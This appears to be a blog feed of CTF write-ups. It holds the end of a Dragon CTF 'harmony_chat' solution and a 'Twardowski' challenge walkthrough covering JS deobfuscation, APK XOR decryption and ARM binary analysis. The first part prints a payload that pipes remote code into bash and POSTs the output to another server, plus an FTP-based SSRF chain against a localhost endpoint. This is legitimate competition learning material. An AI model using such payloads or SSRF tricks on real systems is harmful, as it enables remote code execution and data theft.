class="o">:</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="s1">&#39;/bin/bash&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;-c&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;curl -d \&quot;$(curl https://%REDACTED% | bash)\&quot; https://%REDACTED%/&#39;</span> <span class="w"> </span><span class="p">],</span> <span class="w"> </span><span class="nx">stdio</span><span class="o">:</span><span class="w"> </span><span class="p">[</span> <span class="w"> </span><span class="p">{</span><span class="nx">type</span><span class="o">:</span><span class="s1">&#39;pipe&#39;</span><span class="p">,</span><span class="nx">readable</span><span class="o">:!</span><span class="mf">0</span><span class="p">,</span><span class="nx">writable</span><span class="o">:!</span><span class="mf">1</span><span class="p">},</span> <span class="w"> </span><span class="p">{</span><span class="nx">type</span><span class="o">:</span><span class="s1">&#39;pipe&#39;</span><span class="p">,</span><span class="nx">readable</span><span class="o">:!</span><span class="mf">1</span><span class="p">,</span><span class="nx">writable</span><span class="o">:!</span><span class="mf">0</span><span class="p">},</span> <span class="w"> </span><span class="p">{</span><span class="nx">type</span><span class="o">:</span><span class="s1">&#39;pipe&#39;</span><span class="p">,</span><span class="nx">readable</span><span class="o">:!</span><span class="mf">1</span><span class="p">,</span><span class="nx">writable</span><span class="o">:!</span><span class="mf">0</span><span class="p">}</span> <span class="w"> </span><span class="p">]});</span> </code></pre></div> <p>In short, the exploit connects to some server, executes code from it and sends output via POST to another server.</p> <p>After minifying the code and putting it into JSON, we started to search for a property we could exploit. As most of the properties were defined in the schema to be strings, it wouldn't be possible to put the object into them. Hopefully, there have been some optional properties which were not defined in the schema, but were evaluated in the code. We decided to use <code>script-sample</code>, because it was one of the optional properties and wasn't handled in any special way, just printed.</p> <div class="codehilite"><pre><span></span><code><span class="kd">const</span><span class="w"> </span><span class="nx">generateTextReport</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">report</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="p">...</span> <span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">report</span><span class="p">[</span><span class="s2">&quot;script-sample&quot;</span><span class="p">])</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">text</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="sb">`Sample : </span><span class="si">${</span><span class="nx">report</span><span class="p">[</span><span class="s2">&quot;script-sample&quot;</span><span class="p">]</span><span class="si">}</span><span class="sb">\n`</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="p">...</span> <span class="p">}</span> </code></pre></div> <h2>Part 2: SSRF</h2> <p>In the meantime, we started to look for a SSRF exploit, because the CSP report endpoint was being limited only to localhost. We realized that because of the FTP server, we could craft such "chat log" that would be a valid HTTP request, then send that file via FTP active mode to <code>127.0.0.1:3380</code>. Fortunately, the only limitations were: - the line must have <code>:</code> after 0-30 characters (length of the username) - the line must be less than 2080 characters long (30 for the username, 2 for the <code>:</code> and 2048 for the content)</p> <p>The HTTP request we came up with:</p> <div class="codehilite"><pre><span></span><code><span class="nf">POST</span> <span class="nn">/csp-report?:</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="o">:</span> <span class="l">127.0.0.1</span> <span class="na">Content-Length</span><span class="o">:</span> <span class="l">527</span> <span class="na">Content-Type</span><span class="o">:</span> <span class="l">application/csp-report</span> {&quot;csp-report&quot;:{&quot;blocked-uri&quot;:&quot;&quot;(...) </code></pre></div> <p>Note the <code>?:</code> part in the path - it's needed because of the first limitation.</p> <p>Having that, we've created a <a href="https://github.com/p4-team/ctf/blob/master/2020-11-20-dragonctf/harmony_chat/send.py">script</a> for crafting the file on the server, which basically creates new users and joins the same channel, then prints the link to the chat log it created.</p> <h2>Part 3: actual exploiting</h2> <p>After all that, triggering the actual exploit was as simple as this: (<code>13,52</code> = <code>(13*256)+52</code> = <code>3380</code>)</p> <div class="codehilite"><pre><span></span><code>$<span class="w"> </span>nc<span class="w"> </span>harmony-1.hackable.software<span class="w"> </span><span class="m">3321</span> <span class="m">220</span><span class="w"> </span>FTP<span class="w"> </span>server<span class="w"> </span><span class="o">(</span>nodeftpd<span class="o">)</span><span class="w"> </span>ready USER<span class="w"> </span>f24090d4641cb9b776c2bd5b05446c9d <span class="m">331</span><span class="w"> </span>User<span class="w"> </span>name<span class="w"> </span>okay,<span class="w"> </span>need<span class="w"> </span>password. PASS<span class="w"> </span>x <span class="m">230</span><span class="w"> </span>User<span class="w"> </span>logged<span class="w"> </span><span class="k">in</span>,<span class="w"> </span>proceed. PORT<span class="w"> </span><span class="m">127</span>,0,0,1,13,52 <span class="m">200</span><span class="w"> </span>OK RETR<span class="w"> </span>848800924e2316585788974dc12dbbcf <span class="m">150</span><span class="w"> </span>Opening<span class="w"> </span>ASCII<span class="w"> </span>mode<span class="w"> </span>data<span class="w"> </span>connection <span class="m">226</span><span class="w"> </span>Closing<span class="w"> </span>data<span class="w"> </span>connection,<span class="w"> </span>sent<span class="w"> </span><span class="m">636</span><span class="w"> </span>bytes </code></pre></div> Twardowski https://ptrcnull.me/writeups/twardowski.html 2020-09-14T15:11:00+01:00 2020-09-14T15:11:00+01:00 <p>Best viewed on <a href="https://ptrcnull.me/writeups/twardowski.html">the webbed site</a>!</p> <p>CTF url: https://twardowski.securing.pl/</p> <h2>Low hanging fruits</h2> <ul> <li>532nd line of the home page - <code>FLAG{8011be9ceeff33e647187808ac3b25b70d3d7}</code></li> <li><a href="https://twardowski.securing.pl/404">404 page</a>:</li> </ul> <p><img alt="Image from the 404 page - a FLAG, just upside down" loading="lazy" src="/writeups/twardowski/Writeups-Twardowski-404.png" /></p> <p><code>FLAG{805a0710b49372a822b0f73915354d0a60290}</code></p> <ul> <li>HTTP headers on any page:</li> </ul> <div class="codehilite"><pre><span></span><code>&lt; Set-Cookie: 8145=jselvxkfagesirevdpkvckezcidgwxcmtteeo &lt; Set-Cookie: 3715=uilkbbvhafipagcnchxawewsfbocagvwkviif &lt; Set-Cookie: 6965=eraxamdlegkeupsasfejvglhtbjpezbbojjcd &lt; Set-Cookie: 1337=FLAG{802b90a3cdca643d1abf3aba0f96c17c466e2} &lt; Set-Cookie: 9669=uygbolhbijdmmuwawjzjibrwgnjjjejzlfcnn &lt; Set-Cookie: 2193=ztrsxcsqmiclymffagahlvjqnyqsdcetvlgoo&#39; &lt; X-Totaly-Legit-Header: FLAG{803d8adce61c4b1efb974f5eff93f5cb54afd} </code></pre></div> <ul> <li><a href="https://twardowski.securing.pl/robots.txt">robots.txt</a></li> </ul> <div class="codehilite"><pre><span></span><code>User-agent: pentest Disallow: /* Disallow: /FLAG{804764d8bae198e68fcc037066c386978a187} <span class="gh">#</span>TODO: remove .DS_Store file from statics ~ntrojanowska </code></pre></div> <h3>Commented code on the home page</h3> <p>There's a line of commented JavaScript code on the homepage:</p> <div class="codehilite"><pre><span></span><code><span class="cm">/* var _0x7424=[&#39;Almo&#39;,&#39;403e&#39;,&#39;e45b&#39;,&#39;8928&#39;,&#39;st..&#39;,&#39;7a2e&#39;,&#39;FLAG&#39;,&#39;386c&#39;,&#39;{808&#39;,&#39;\x20fla&#39;,&#39;Wher&#39;,&#39;log&#39;,&#39;e\x20is&#39;,&#39;e7}&#39;];(function(_0xa3c7e8,_0x742483){var _0x4f8f19=function(_0x48bcd0){while(--_0x48bcd0){_0xa3c7e8[&#39;push&#39;](_0xa3c7e8[&#39;shift&#39;]());}};_0x4f8f19(++_0x742483);}(_0x7424,0x8f));var _0x4f8f=function(_0xa3c7e8,_0x742483){_0xa3c7e8=_0xa3c7e8-0x0;var _0x4f8f19=_0x7424[_0xa3c7e8];return _0x4f8f19;};function printSecretFlag(){var _0x176ed4=_0x4f8f(&#39;0x3&#39;)+_0x4f8f(&#39;0x5&#39;)+&#39;6a91&#39;+_0x4f8f(&#39;0xd&#39;)+&#39;c076&#39;+_0x4f8f(&#39;0xc&#39;)+_0x4f8f(&#39;0x2&#39;)+_0x4f8f(&#39;0x0&#39;)+_0x4f8f(&#39;0x4&#39;)+&#39;233a&#39;+_0x4f8f(&#39;0xa&#39;),_0x587911=_0x4f8f(&#39;0xb&#39;)+_0x4f8f(&#39;0x1&#39;);console[_0x4f8f(&#39;0x8&#39;)](_0x587911);}function printNotFlag(){var _0x5e4d23=_0x4f8f(&#39;0x7&#39;)+_0x4f8f(&#39;0x9&#39;)+_0x4f8f(&#39;0x6&#39;)+&#39;g?&#39;;console[_0x4f8f(&#39;0x8&#39;)](_0x5e4d23);}printNotFlag(); */</span> </code></pre></div> <p>After running it through a <a href="https://github.com/ptrcnull/deobf">deobfuscator</a>, there's a flag in the plaintext:</p> <div class="codehilite"><pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">printSecretFlag</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">_0x176ed4</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;FLAG{8086a91e45bc076403e7a2e8928386c233ae7}&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">_0x587911</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;Almost..&#39;</span><span class="p">;</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">_0x587911</span><span class="p">)</span> <span class="p">}</span> <span class="kd">function</span><span class="w"> </span><span class="nx">printNotFlag</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">_0x5e4d23</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;Where is flag?&#39;</span><span class="p">;</span> <span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">_0x5e4d23</span><span class="p">)</span> <span class="p">}</span> </code></pre></div> <h3>.DS_Store</h3> <p>Filenames in <code>.DS_Store</code> files are written in UTF-16, so I ran <code>strings -e b .DS_Store</code> and got this list of files:</p> <div class="codehilite"><pre><span></span><code><span class="n">android-icon-144x144.png</span> <span class="n">android-icon-192x192.png</span> <span class="n">android-icon-36x36.png</span> <span class="n">android-icon-48x48.png</span> <span class="n">android-icon-72x72.png</span> <span class="n">android-icon-96x96.png</span> <span class="n">apple-icon-114x114.png</span> <span class="n">apple-icon-114x114.png_original</span> <span class="n">apple-icon-120x120.png</span> <span class="n">apple-icon-120x120.png_original</span> <span class="n">apple-icon-144x144.png</span> <span class="n">apple-icon-144x144.png_original</span> <span class="n">apple-icon-152x152.png</span> <span class="n">apple-icon-152x152.png_original</span> <span class="n">apple-icon-180x180.png</span> <span class="n">apple-icon-180x180.png_original</span> <span class="n">apple-icon-57x57.png</span> <span class="n">apple-icon-57x57.png_original</span> <span class="n">apple-icon-60x60.png</span> <span class="n">apple-icon-60x60.png_original</span> <span class="n">apple-icon-72x72.png</span> <span class="n">apple-icon-72x72.png_original</span> <span class="n">apple-icon-76x76.png</span> <span class="n">apple-icon-76x76.png_original</span> <span class="n">apple-icon-precomposed.png</span> <span class="c">#apple-icon-precomposed.png_original</span> <span class="n">apple-icon.png</span> <span class="n">apple-icon.png_original</span> <span class="n">background.png</span> <span class="n">background_lowreso.png</span> <span class="n">browserconfig.xml</span> <span class="n">favicon-16x16.png</span> <span class="n">favicon-32x32.png</span> <span class="n">favicon-96x96.png</span> <span class="n"> flag.html</span> <span class="n">+FLAG{80bfd64a059a831b5b2a3460899ef22fdfdff}</span> <span class="n"> game.html</span> <span class="n">hello_world</span> <span class="n"> index.php</span> <span class="n">manifest.json</span> <span class="n">moonlight.mp3</span> <span class="n">ms-icon-144x144.png</span> <span class="n">ms-icon-150x150.png</span> <span class="n">ms-icon-310x310.png</span> <span class="n">ms-icon-70x70.png</span> <span class="n">rb500_webupgrade.bin</span> <span class="n">secret_message_inside.zip</span> <span class="n">secrets.min.js</span> <span class="n">sha256.min.js</span> <span class="n"> style.css</span> <span class="n">zRZYMappka.apk</span> </code></pre></div> <h2>Things found in .DS_Store</h2> <h3>zRZYMappka.apk</h3> <p>After downloading the .apk, I unpacked the app with apktool and searched for "FLAG{".</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>apktool<span class="w"> </span>d<span class="w"> </span>zRZYMappka.apk <span class="go">[output omitted]</span> <span class="gp">$ </span>grep<span class="w"> </span>-R<span class="w"> </span>FLAG<span class="w"> </span>zRZYMappka <span class="go">zRZYMappka/assets/www/js/index.js: alert(&quot;FLAG{&quot;+cleartext+&quot;}&quot;);</span> </code></pre></div> <p>After seeing .js I was honestly relieved, because dealing with JS is a lot easier than baksmali/Java.</p> <p>The most interesting part of the <code>index.js</code> file was a callback from <code>navigator.geolocation.getCurrentPosition</code>:</p> <div class="codehilite"><pre><span></span><code><span class="kd">function</span><span class="w"> </span><span class="nx">decipher</span><span class="p">(</span><span class="nx">ciphertext</span><span class="p">,</span><span class="w"> </span><span class="nx">key</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">k</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">parseInt</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span> <span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">;</span> <span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="o">=</span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">&lt;</span><span class="nx">ciphertext</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">result</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="w"> </span><span class="nx">k</span><span class="w"> </span><span class="o">^</span><span class="w"> </span><span class="nx">ciphertext</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">result</span><span class="p">;</span> <span class="p">}</span> <span class="c1">// oai:mbc.malopolska.pl:9439 p. 194</span> <span class="kd">var</span><span class="w"> </span><span class="nx">lat</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">round</span><span class="p">(</span><span class="nx">position</span><span class="p">.</span><span class="nx">coords</span><span class="p">.</span><span class="nx">latitude</span><span class="p">);</span> <span class="kd">var</span><span class="w"> </span><span class="kr">long</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">round</span><span class="p">(</span><span class="nx">position</span><span class="p">.</span><span class="nx">coords</span><span class="p">.</span><span class="nx">longitude</span><span class="p">);</span> <span class="kd">var</span><span class="w"> </span><span class="nx">key</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="o">-</span><span class="mf">1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">pow</span><span class="p">(</span><span class="kr">long</span><span class="p">,</span><span class="w"> </span><span class="nx">lat</span><span class="p">));</span> <span class="kd">var</span><span class="w"> </span><span class="nx">cleartext</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">decipher</span><span class="p">(</span><span class="s2">&quot;91e2c39b14e9866`8g73`ggg9`4`b4d8cd0`2&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">key</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="nx">cleartext</span><span class="p">.</span><span class="nx">length</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mf">37</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="nx">cleartext</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="mf">3</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="s2">&quot;80d&quot;</span><span class="p">)</span> <span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;FLAG{&quot;</span><span class="o">+</span><span class="nx">cleartext</span><span class="o">+</span><span class="s2">&quot;}&quot;</span><span class="p">);</span> <span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;invalid location, exiting&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="nx">navigator</span><span class="p">.</span><span class="nx">app</span><span class="p">.</span><span class="nx">exitApp</span><span class="p">();</span> </code></pre></div> <p>So, instead of actually reading the code and realizing it's a simple XOR cipher, I went and checked what's under the weird URI. Googling it gave me one result: http://mbc.malopolska.pl/dlibra/doccontent?id=9439&amp;dirids=1</p> <p>I downloaded the <a href="http://mbc.malopolska.pl/Content/9439/index.djvu">content</a> and opened it in a DjVu viewer, which revealed key information about the coords:</p> <p><img alt="Fragment of the book" loading="lazy" src="/writeups/twardowski/Writeups-Twardowski-zRZYMappka.png" /></p> <p>Having the <a href="https://en.wikipedia.org/wiki/Sucha_Beskidzka">coordinates</a>, I entered the numbers into Node.js:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>node <span class="go">Welcome to Node.js v14.9.0.</span> <span class="go">Type &quot;.help&quot; for more information.</span> <span class="go">&gt; Math.round(49.740278)</span> <span class="go">50</span> <span class="go">&gt; Math.round(19.588611)</span> <span class="go">20</span> <span class="go">&gt; var key = (-1 * Math.pow(20, 50))</span> <span class="go">undefined</span> <span class="go">&gt; .load decipher.js</span> <span class="go">function decipher(ciphertext, key) {</span> <span class="go"> var k = parseInt(key);</span> <span class="go"> var result = &#39;&#39;;</span> <span class="go"> for (var i=0; i&lt;ciphertext.length; i++) {</span> <span class="go"> result += String.fromCharCode( k ^ ciphertext.charCodeAt(i) );</span> <span class="go"> }</span> <span class="go"> return result;</span> <span class="go">}</span> <span class="go">&gt; decipher(&quot;91e2c39b14e9866`8g73`ggg9`4`b4d8cd0`2&quot;, key)</span> <span class="go">&#39;ᅥᅫレᅪワᅩᅥンᅫᅨレᅥᅦ￉￉゚ᅦリ￈ᅩ゚リリリᅥ゚ᅨ゚ンᅨロᅦワロᅬ゚ᅪ&#39;</span> </code></pre></div> <p>Well, it obviously wasn't the flag, so I continued to read the code and realized it's a <a href="https://en.wikipedia.org/wiki/XOR_cipher#Use_and_security">XOR</a> cipher (which is vulnerable to <a href="https://en.wikipedia.org/wiki/Known-plaintext_attack">KPA</a>):</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>python3 <span class="go">Python 3.8.5 (default, Sep 5 2020, 10:50:12)</span> <span class="go">[GCC 10.2.0] on linux</span> <span class="go">Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.</span> <span class="go">&gt;&gt;&gt; ord(&#39;9&#39;) ^ ord(&#39;8&#39;)</span> <span class="go">1</span> <span class="go">&gt;&gt;&gt;</span> </code></pre></div> <p>I saw that the key is apparently just 1, sighed and ran <code>decipher</code> again with "1" as the key:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>node <span class="go">Welcome to Node.js v14.9.0.</span> <span class="go">Type &quot;.help&quot; for more information.</span> <span class="go">&gt; .load decipher.js</span> <span class="go">function decipher(ciphertext, key) {</span> <span class="go"> var k = parseInt(key);</span> <span class="go"> var result = &#39;&#39;;</span> <span class="go"> for (var i=0; i&lt;ciphertext.length; i++) {</span> <span class="go"> result += String.fromCharCode( k ^ ciphertext.charCodeAt(i) );</span> <span class="go"> }</span> <span class="go"> return result;</span> <span class="go">}</span> <span class="go">&gt; decipher(&quot;91e2c39b14e9866`8g73`ggg9`4`b4d8cd0`2&quot;, 1)</span> <span class="go">&#39;80d3b28c05d8977a9f62afff8a5ac5e9be1a3&#39;</span> </code></pre></div> <h3>hello_world</h3> <p>After downloading the "hello_world" file, it turned out to be an ARM binary.</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>file<span class="w"> </span>hello_world <span class="go">hello_world: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, BuildID[sha1]=368fa84fbd42da04378bf16649b33129ab404b96, for GNU/Linux 3.2.0, not stripped</span> </code></pre></div> <p>I downloaded QEMU and qemu-arm to <a href="https://ownyourbits.com/2018/06/13/transparently-running-binaries-from-any-architecture-in-linux-with-qemu-and-binfmt_misc/">run it</a>, but unfortunately it segfaulted...</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>qemu-arm<span class="w"> </span>./hello_world <span class="go">Hello!</span> <span class="go">qemu: uncaught target signal 11 (Segmentation fault) - core dumped</span> <span class="go">[1] 443755 segmentation fault (core dumped) qemu-arm ./hello_world</span> </code></pre></div> <p>...so I decided to open it in Ghidra.</p> <p>The code is pretty simple, it prints "Hello!" first, then assembles a flag in the "another_flag" function and tries to write it to "/tmp/random/flag".</p> <div class="codehilite"><pre><span></span><code><span class="n">undefined4</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span> <span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">__s</span><span class="p">;</span> <span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">__filename</span><span class="p">;</span> <span class="w"> </span><span class="kt">FILE</span><span class="w"> </span><span class="o">*</span><span class="n">__stream</span><span class="p">;</span> <span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">&quot;Hello!&quot;</span><span class="p">);</span> <span class="w"> </span><span class="n">__s</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">another_flag</span><span class="p">();</span> <span class="w"> </span><span class="n">__filename</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x11</span><span class="p">);</span> <span class="w"> </span><span class="o">*</span><span class="n">__filename</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;/&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;t&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;m&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;p&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;/&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;r&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">6</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;a&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">7</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;n&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;d&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;o&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;m&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mh">0xb</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;/&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mh">0xc</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;f&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mh">0xd</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;l&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mh">0xe</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;a&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mh">0xf</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;g&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__filename</span><span class="p">[</span><span class="mh">0x10</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">&#39;\0&#39;</span><span class="p">;</span> <span class="w"> </span><span class="n">__stream</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fopen</span><span class="p">(</span><span class="n">__filename</span><span class="p">,</span><span class="s">&quot;w&quot;</span><span class="p">);</span> <span class="w"> </span><span class="n">fputs</span><span class="p">(</span><span class="n">__s</span><span class="p">,</span><span class="n">__stream</span><span class="p">);</span> <span class="w"> </span><span class="n">fclose</span><span class="p">(</span><span class="n">__stream</span><span class="p">);</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p>Fortunately, "another_flag" wasn't some crypto function, just assembling a 44-byte buffer.</p> <div class="codehilite"><pre><span></span><code><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nf">another_flag</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span> <span class="w"> </span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="n">puVar1</span><span class="p">;</span> <span class="w"> </span><span class="n">puVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x2c</span><span class="p">);</span> <span class="w"> </span><span class="o">*</span><span class="n">puVar1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x46</span><span class="p">;</span> <span class="w"> </span><span class="n">puVar1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x4c</span><span class="p">;</span> <span class="w"> </span><span class="c1">// ...</span> <span class="w"> </span><span class="n">puVar1</span><span class="p">[</span><span class="mh">0x2b</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span> <span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">puVar1</span><span class="p">;</span> <span class="p">}</span> </code></pre></div> <p>I decided to copy the values Ghidra gave me to Node.js and parse the flag from it.</p> <div class="codehilite"><pre><span></span><code><span class="o">&gt;</span><span class="w"> </span><span class="p">[</span><span class="mh">0x46</span><span class="p">,</span><span class="w"> </span><span class="mh">0x4c</span><span class="p">,</span><span class="w"> </span><span class="mh">0x41</span><span class="p">,</span><span class="w"> </span><span class="mh">0x47</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7b</span><span class="p">,</span><span class="w"> </span><span class="mh">0x38</span><span class="p">,</span><span class="w"> </span><span class="mh">0x30</span><span class="p">,</span><span class="w"> </span><span class="mh">0x37</span><span class="p">,</span><span class="w"> </span><span class="mh">0x30</span><span class="p">,</span><span class="w"> </span><span class="mh">0x33</span><span class="p">,</span><span class="w"> </span><span class="mh">0x66</span><span class="p">,</span><span class="w"> </span><span class="mh">0x32</span><span class="p">,</span><span class="w"> </span><span class="mh">0x66</span><span class="p">,</span><span class="w"> </span><span class="mh">0x32</span><span class="p">,</span><span class="w"> </span><span class="mh">0x31</span><span class="p">,</span><span class="w"> </span><span class="mh">0x32</span><span class="p">,</span><span class="w"> </span><span class="mh">0x39</span><span class="p">,</span><span class="w"> </span><span class="mh">0x61</span><span class="p">,</span><span class="w"> </span><span class="mh">0x38</span><span class="p">,</span><span class="w"> </span><span class="mf">100</span><span class="p">,</span><span class="w"> </span><span class="mh">0x35</span><span class="p">,</span><span class="w"> </span><span class="mf">99</span><span class="p">,</span><span class="w"> </span><span class="mh">0x35</span><span class="p">,</span><span class="w"> </span><span class="mh">0x33</span><span class="p">,</span><span class="w"> </span><span class="mh">0x32</span><span class="p">,</span><span class="w"> </span><span class="mf">99</span><span class="p">,</span><span class="w"> </span><span 